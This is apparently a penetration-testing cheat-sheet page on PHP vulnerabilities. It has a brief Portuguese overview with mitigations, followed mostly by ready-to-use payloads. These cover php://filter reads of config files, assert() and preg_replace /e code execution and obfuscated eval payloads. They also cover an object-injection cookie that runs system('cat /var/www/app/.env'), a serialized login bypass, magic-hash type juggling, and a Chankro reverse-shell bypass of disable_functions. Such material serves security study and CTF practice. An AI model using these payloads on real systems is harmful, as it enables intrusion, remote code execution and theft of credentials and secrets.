Page cover

Vulnerabilities

PHP Descrição:

PHP, como qualquer outro software, pode ser vulnerável a problemas e vulnerabilidades de segurança. Essas vulnerabilidades podem ser potencialmente exploradas por agentes mal-intencionados para comprometer a segurança de um aplicativo ou servidor web. Algumas vulnerabilidades comuns do PHP incluem:

1) Cross-Site Scripting (XSS): vulnerabilidades XSS ocorrem quando um aplicativo inclui dados não confiáveis em sua saída e esses dados podem ser executados como JavaScript no navegador de um usuário. Isso permite que invasores injetem scripts maliciosos em páginas da Web visualizadas por outros usuários.

2) Injeção de SQL: as vulnerabilidades de injeção de SQL ocorrem quando um aplicativo não limpa ou valida adequadamente a entrada do usuário antes de incluí-la nas consultas SQL. Os invasores podem manipular a entrada para executar comandos SQL arbitrários, obtendo potencialmente acesso não autorizado a um banco de dados.

3) Execução Remota de Código (RCE): As vulnerabilidades RCE ocorrem quando um invasor pode executar código arbitrário no servidor. Isso pode levar ao comprometimento total do servidor e é um grave problema de segurança.

4) Vulnerabilidades de inclusão de arquivos: A inclusão insegura de arquivos permite que invasores incluam e executem arquivos arbitrários, levando potencialmente ao acesso não autorizado ou à execução de código no servidor.

5) Falsificação de solicitação entre sites (CSRF): vulnerabilidades de CSRF podem induzir os usuários a realizar ações que não pretendiam em um aplicativo da web. Isto pode levar a ações não autorizadas, como alterar configurações ou fazer transações indesejadas.

6) Desserialização insegura: os invasores podem explorar a desserialização insegura para manipular dados ou executar código malicioso no servidor.

7) Passagem de diretório: As vulnerabilidades de passagem de diretório permitem que invasores acessem arquivos ou diretórios fora do escopo pretendido, revelando potencialmente informações confidenciais.

8) Divulgação de informações: Isso pode incluir a revelação de informações confidenciais, como arquivos de configuração, detalhes do servidor ou código-fonte do aplicativo, que podem ser aproveitadas pelos invasores para encontrar outras vulnerabilidades.

Autenticação e autorização inadequadas: Mecanismos fracos de autenticação e autorização podem levar ao acesso não autorizado a áreas confidenciais de um aplicativo.

Para mitigar essas vulnerabilidades ao usar PHP, siga as práticas recomendadas, incluindo: Mantenha o PHP e seus componentes associados atualizados com patches de segurança. Use validação de entrada e codificação de saída para evitar ataques de injeção XSS e SQL. Implemente um mecanismo robusto de controle de acesso para proteger contra acesso não autorizado. Use instruções preparadas e consultas parametrizadas para evitar injeção de SQL. Evite incluir dados não confiáveis em caminhos de arquivos e use listas de permissões para inclusão de arquivos. Implemente tokens anti-CSRF em seus formulários para proteção contra ataques CSRF. Proteja informações e arquivos confidenciais para evitar a divulgação de informações. Revise e audite regularmente seu código em busca de problemas de segurança. Use firewalls de aplicativos da web e outras ferramentas de segurança para fornecer uma camada adicional de proteção. Lembre-se de que as vulnerabilidades do PHP não se limitam à linguagem PHP em si, mas também podem ser causadas por configurações incorretas, configurações do servidor e pelo código que você escreve. Manter-se informado sobre as melhores práticas de segurança e atualizar regularmente seu software e base de código é crucial para manter um ambiente PHP seguro.

PHP Filters

# Base64 ?inc=php://filter/read=convert.base64-encode/resource=config.php # iconv conversion filter can be used (https://gynvael.coldwind.pl/?lang=en&id=671) # allows you to use iconv to convert all processed data from charset A to charset B # where both character sets can be chosen from a surprisingly long list of supported encodings iconv -l # Example <?php $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text"; echo file_get_contents($url); // Output: // some+ADwAPg-text # Then you can use it to change the charset of your payload php://filter/convert.iconv.CHARSET1%2fCHARSET2/resource=/flag # Recovering process <?php $d = file_get_contents( "php://filter/convert.iconv.UTF-32BE%2fIBM1154/resource=". "data:image/png;base64,AAAEWAAAACsAAARbAAAAIwAABFsAAAA/AA". "AAKAAAAC8AAAA+AAAAYAAABCoAAAQFAAAEAwAABAYAAAAlAAAALwAABD". "AAAACtAAAEUwAAAC8AAAA+AAAEDgAABAMAAAQFAAAEBwAAAD8AAAA/AA". "AEBAAABAYAAAA/AAAEDAAAAGAAAAA/AAAEDwAAACcAAACO"); echo $d;

Assert() PHP functions

The assert() function will execute code in params

Example using challenge

?page=.. Warning : assert() : Assertion "strpos(’includes/...php’, ’..’) === false" failed in path/index.php on line 8

The request looks like this

assert("strpos('includes/' . $_GET['page'] . '.php', '..') === false")

If we inject this

?page=salade.php','..') || print('tomate') || strpos('oignons

The request will look like

assert("strpos('/includes/salade.php','..') || print('tomate') || strpos('oignons.php','..') ===false")

Then, to exploit

?page=salade.php','..') || show_source('.passwd') || strpos('oignons

PHP preg_replace()

In PHP, regular expressions need delimiter

preg_match("recherche","contenu"); # wrong preg_match("/recherche/","contenu"); # OK

preg_replace offers an option to execute code

preg_replace("input1search","input2replace","input3content"); preg_replace("/a/e","print(123)","abcd"); preg_replace("/a/e","print_r(scandir('.'))","abcd"); preg_replace("/a/e","file_get_contents('flag.php')","abcd");

PHP preg_match()

It is possible to bypass some functions like preg_match by injecting non-alphanumeric char

If the application uses eval() on the user input, the payload will still be executed

Application code

if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){ print '

Result'; eval('print '.$_POST['input'].";"); print ''; }

Exploitation and Bypass

You can encode the payload in octal

→ file_get_contents(".passwd") → "\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\056\160\141\163\163\167\144")

You can also use non alphanumeric char (https://github.com/v1ll41n/Und3rCov3r)

echo -n “phpinfo();” > tmp.php php Und3rCov3r.ph 1 tmp.php

If will create an alphax.php file containing the encoded payload

$[]++;$[]=$.;$=$_[(++$[])][(++$[])+(++$[])+(++$[])];$=$[$[+]];$=$=$[++$__[]];$=$=$[+];$++;$++;$++;$=$.++$.$.++$_.$.++$;$=$;$=$_____;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$=+;$.=$;$=++$^$[+];$=+;$__++;$++;$++;$++;$++;$__++;$++;$++;$++;$_____++;$________++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$____++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_____________++; $('$="'.$.$.$.$.$.$.$__________.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$_.$.$.$.$.$_____.$.$.$.$.$.$.$.$_______.$___.'"');$($);

You can then for example read file

→ readfile(".passwd"); $[]++;$[]=$.;$=$_[(++$[])][(++$[])+(++$[])+(++$[])];$=$[$[+]];$=$=$[++$__[]];$=$=$[+];$++;$++;$++;$=$.++$.$.++$_.$.++$;$=$;$=$_____;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$=+;$.=$;$=++$^$[+];$=+;$__++;$++;$++;$++;$++;$__++;$++;$++;$++;$_____++;$________++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_++;$____++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$_____________++; $('$="'.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$__.$.$.$.$.$.$.$.$.$.$.$.$__________.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$_______.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.$.'"');$($_);

PHP Serealization

Resources https://www.owasp.org/index.php/PHP_Object_Injection

PHP Serialisation (PHP Slim __wakeup)

Context - \App\Controller\Confidential.php

$systemCall = new SystemCall('system("ls");');

Context - \Slim\Middleware\SessionCookie.php

if ($value) { try { $_SESSION = unserialize($value); } catch (\Exception $e) { $this->app->getLog()->error('Error unserializing session cookie value! ' . $e->getMessage()); }

Context - \App\Service\SystemCall.php

class SystemCall { public $hook; public $result;

}

You can override the __wakeup() method by crafting your own object and then inject it to execute command

a:2:{s:10:"slim.flash";a:0:{}s:11:"Utilisateur";i:0;}

Create object to see what it looks like

Object you want to inject

O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}

a:3:{s:10:"slim.flash";a:0:{}s:3:"Lol";O:22:"App\Service\SystemCall":2:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";s:6:"result";N;}s:11:"Utilisateur";i:0;}

You can simplify it

You only need a string to initialize the object (to name it)

The array is not necessary

As long as you don't need to be admin, you can remove the user part

a:1:{s:10:"slim.flash";O:22:"App\Service\SystemCall":1:{s:4:"hook";s:32:"system("cat /var/www/app/.env");";}}

PHP Serialisation

Unserialize() is used to store every object as a string

'a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}'

Code

if ($data['password'] == $auth[ $data['login'] ] ) { $_SESSION['login'] = $data['login'];

'a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}'

PHP type juggling

Type Juggling and Loose Comparison # Type Juggling # In PHP, “==” returns true if $a equals $b AFTER transtyping "0000" == int(0) -> TRUE "0e12" == int(0) -> TRUE "1abc" == int(1) -> TRUE "0abc" == int(0) -> TRUE "abc" == int(0) -> TRUE # Loose Comparison # In PHP, if “==” is used, then 2 strings beginning by “0e” and filled with numbers will always be equal # It means that you can use magic hashes (0exxxx...) to break the comparison # md5(240610708) = 0e462097431906509019562988736854 # So 0e == 240610708 → true # Magic hash for SHA-224 10885164793773 --> 0e281250946775200129471613219196999537878926740638594636 # Magic hash for SHA-256 34250003024812 --> 0e46289032038065916139621039085883773413820991920706299695051332 strcmp() # If you provide an array to strcmp() it returns NULL # NULL == 0

Tricks & others

Code auditing / Looking for vulnerabilities https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet Bypass PHP disable_functions and open_basedir # PHP in Linux calls a binary (sendmail) when the mail() function is executed. # If we have putenv() allowed, we can set the environment variable "LD_PRELOAD", so we can # preload an arbitrary shared object. Our shared object will execute our custom # payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example. # Chankro tool is used for that (https://github.com/TarlogicSecurity/Chankro) python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html MISC # Path truncation # PHP max path is 4096 char # It is possible to bypass checks for one file, for example, by flooding the path before requesting a resource page=././././././././....... # There is a BIG difference between “$salt” and ‘$salt’. # Double quotes → interpreted as a variable # Simple quotes → interpreted as a string Register Globals index.php ?_SESSION[logged]=1

Last updated